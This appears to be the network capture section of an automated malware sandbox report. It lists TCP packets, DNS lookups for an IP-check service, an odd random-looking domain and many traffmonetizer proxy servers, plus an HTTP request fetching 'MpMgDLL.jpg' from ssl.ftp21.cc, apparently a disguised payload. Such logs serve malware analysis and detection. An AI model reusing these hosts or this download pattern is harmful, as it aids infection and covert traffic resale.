Jun 29, 2024 08:05:19.597217083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597218037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597251892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597282887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597306967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597306967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597316027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597349882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597382069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597382069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597382069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597415924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597419977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597430944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597465992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597500086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597500086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597527981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597532988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597568035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597603083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597635984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597636938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597668886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597670078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597697020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597701073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597731113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597734928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597763062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597765923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597788095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597812891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597865105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597898006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597898960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597933054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597956896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.597965002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.597997904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598031044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.598031044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598064899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598094940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.598098993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598133087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598164082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598197937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598201036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.598231077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.598232985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.598265886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.598357916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652306080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652337074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652369022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652406931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652441978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652473927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652475119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652503014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652594090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652621031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652627945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652678967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652712107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652710915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652761936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652792931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652795076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652828932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652856112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652863026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652898073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652928114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.652946949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.652997971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653028965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653031111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653064013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653112888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653120041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653120041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653145075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653177023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653177023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653209925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653212070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653244972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653244972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653280020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653312922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653337955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653347969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653378963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653382063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653412104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653415918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653446913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.653450966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.653575897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.678885937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.678946018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.678982973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.678997993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679033995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679065943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679066896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679100990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679136038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679152966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679210901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679264069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679296017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679296970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679349899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679383039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679399967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679415941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679449081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679466009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679466009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679498911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.679500103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.679682970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687172890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687227011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687256098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687277079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687304974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687324047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687341928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687359095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687410116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687443972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687475920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687478065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687509060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687540054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687541962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687576056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687607050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687635899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687640905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687669992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.687696934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.687750101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.689990044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690023899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690053940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690061092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690088987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690093994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690120935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690144062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690176964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690208912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690210104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690237045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690243006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690273046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690277100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690329075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690362930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690378904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690428972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690462112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690462112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690495968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690527916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690529108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690562963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690594912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690623045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690629005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690654039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690665007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690696001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690697908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690730095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690732002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690767050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690798998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690798998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690845013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690877914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690907955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690910101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690943956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.690974951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.690978050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691011906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691044092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691076994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691077948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691111088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691143990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691174984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691175938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691211939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691245079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691272974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691277981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691313028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691344976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691349983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691382885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691416979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691447973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691450119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691482067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691509962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691515923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691549063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691576958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691577911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691611052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691641092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691643953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691677094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691680908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691711903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691742897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691744089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691770077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691777945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691811085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691812038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691845894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691874981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691876888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691905022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.691910028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.691941023 CEST	49731	80	192.168.2.4	81.28.12.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 29, 2024 08:05:19.490462065 CEST	192.168.2.4	8.8.8.8	0xfbed	Standard query (0)	members.3322.org	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:19.499548912 CEST	192.168.2.4	8.8.8.8	0xb9b8	Standard query (0)	opendata.baidu.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:24.519735098 CEST	192.168.2.4	1.1.1.1	0x460f	Standard query (0)	www.362-com.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:24.521218061 CEST	192.168.2.4	1.1.1.1	0x55d	Standard query (0)	www.4i7i.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:33.080605984 CEST	192.168.2.4	1.1.1.1	0x1448	Standard query (0)	down.ftp21.cc	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:41.185571909 CEST	192.168.2.4	1.1.1.1	0x8bc0	Standard query (0)	api.iproyal.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:51.505250931 CEST	192.168.2.4	1.1.1.1	0x5486	Standard query (0)	gtxvdqvuweqs.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:06:04.916965961 CEST	192.168.2.4	1.1.1.1	0x9d5d	Standard query (0)	blnc.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:06:37.157733917 CEST	192.168.2.4	1.1.1.1	0x537c	Standard query (0)	srv-us17.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:04.718801022 CEST	192.168.2.4	1.1.1.1	0xf50d	Standard query (0)	data.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:24.887811899 CEST	192.168.2.4	1.1.1.1	0x7b3f	Standard query (0)	srv-us18.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:25.921348095 CEST	192.168.2.4	1.1.1.1	0x408f	Standard query (0)	blnc.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:32.064661026 CEST	192.168.2.4	1.1.1.1	0x4932	Standard query (0)	srv-us8.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:53.458353043 CEST	192.168.2.4	1.1.1.1	0x378e	Standard query (0)	srv-us9.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:56.630255938 CEST	192.168.2.4	1.1.1.1	0x2c3e	Standard query (0)	srv-us22.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:05.893168926 CEST	192.168.2.4	1.1.1.1	0x3578	Standard query (0)	srv-us14.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:08.220000029 CEST	192.168.2.4	1.1.1.1	0x9ef0	Standard query (0)	data.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:22.730106115 CEST	192.168.2.4	1.1.1.1	0x2e9f	Standard query (0)	srv-us16.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:32.077075005 CEST	192.168.2.4	1.1.1.1	0xee84	Standard query (0)	data.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:09:05.371331930 CEST	192.168.2.4	1.1.1.1	0xcf46	Standard query (0)	downloads.traffmonetizer.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 29, 2024 08:05:19.496988058 CEST	8.8.8.8	192.168.2.4	0xfbed	No error (0)	members.3322.org	members.3322.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 29, 2024 08:05:19.496988058 CEST	8.8.8.8	192.168.2.4	0xfbed	No error (0)	members.3322.net		118.184.169.48	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:19.825045109 CEST	8.8.8.8	192.168.2.4	0xb9b8	No error (0)	opendata.baidu.com	open.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 29, 2024 08:05:19.825045109 CEST	8.8.8.8	192.168.2.4	0xb9b8	No error (0)	open.a.shifen.com		45.113.194.127	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:19.825045109 CEST	8.8.8.8	192.168.2.4	0xb9b8	No error (0)	open.a.shifen.com		45.113.194.189	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:24.532308102 CEST	1.1.1.1	192.168.2.4	0x55d	No error (0)	www.4i7i.com		1.226.84.135	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:24.555182934 CEST	1.1.1.1	192.168.2.4	0x460f	No error (0)	www.362-com.com		1.226.84.135	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:33.087963104 CEST	1.1.1.1	192.168.2.4	0x1448	No error (0)	down.ftp21.cc		119.203.212.165	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:41.196942091 CEST	1.1.1.1	192.168.2.4	0x8bc0	No error (0)	api.iproyal.com		93.189.62.83	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:41.196942091 CEST	1.1.1.1	192.168.2.4	0x8bc0	No error (0)	api.iproyal.com		193.228.196.69	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:05:51.512095928 CEST	1.1.1.1	192.168.2.4	0x5486	No error (0)	gtxvdqvuweqs.com		16.162.201.176	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:06:04.923482895 CEST	1.1.1.1	192.168.2.4	0x9d5d	No error (0)	blnc.traffmonetizer.com		144.76.194.78	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:06:04.923482895 CEST	1.1.1.1	192.168.2.4	0x9d5d	No error (0)	blnc.traffmonetizer.com		168.119.91.41	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:06:37.168344975 CEST	1.1.1.1	192.168.2.4	0x537c	No error (0)	srv-us17.traffmonetizer.com		5.78.80.148	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:04.728020906 CEST	1.1.1.1	192.168.2.4	0xf50d	No error (0)	data.traffmonetizer.com		136.243.150.101	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:24.900145054 CEST	1.1.1.1	192.168.2.4	0x7b3f	No error (0)	srv-us18.traffmonetizer.com		5.78.86.196	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:25.928790092 CEST	1.1.1.1	192.168.2.4	0x408f	No error (0)	blnc.traffmonetizer.com		144.76.194.78	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:25.928790092 CEST	1.1.1.1	192.168.2.4	0x408f	No error (0)	blnc.traffmonetizer.com		168.119.91.41	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:32.082758904 CEST	1.1.1.1	192.168.2.4	0x4932	No error (0)	srv-us8.traffmonetizer.com		5.161.107.33	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:53.467539072 CEST	1.1.1.1	192.168.2.4	0x378e	No error (0)	srv-us9.traffmonetizer.com		5.161.76.235	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:07:56.641290903 CEST	1.1.1.1	192.168.2.4	0x2c3e	No error (0)	srv-us22.traffmonetizer.com		5.161.242.15	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:05.902247906 CEST	1.1.1.1	192.168.2.4	0x3578	No error (0)	srv-us14.traffmonetizer.com		5.161.234.23	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:08.228856087 CEST	1.1.1.1	192.168.2.4	0x9ef0	No error (0)	data.traffmonetizer.com		136.243.150.101	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:22.739799023 CEST	1.1.1.1	192.168.2.4	0x2e9f	No error (0)	srv-us16.traffmonetizer.com		5.78.114.151	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:08:32.085896015 CEST	1.1.1.1	192.168.2.4	0xee84	No error (0)	data.traffmonetizer.com		136.243.150.101	A (IP address)	IN (0x0001)	false
Jun 29, 2024 08:09:05.381166935 CEST	1.1.1.1	192.168.2.4	0xcf46	No error (0)	downloads.traffmonetizer.com		49.12.131.126	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	81.28.12.12	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 08:04:54.294142962 CEST	283	OUT	GET /MpMgDLL.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ssl.ftp21.cc Connection: Keep-Alive
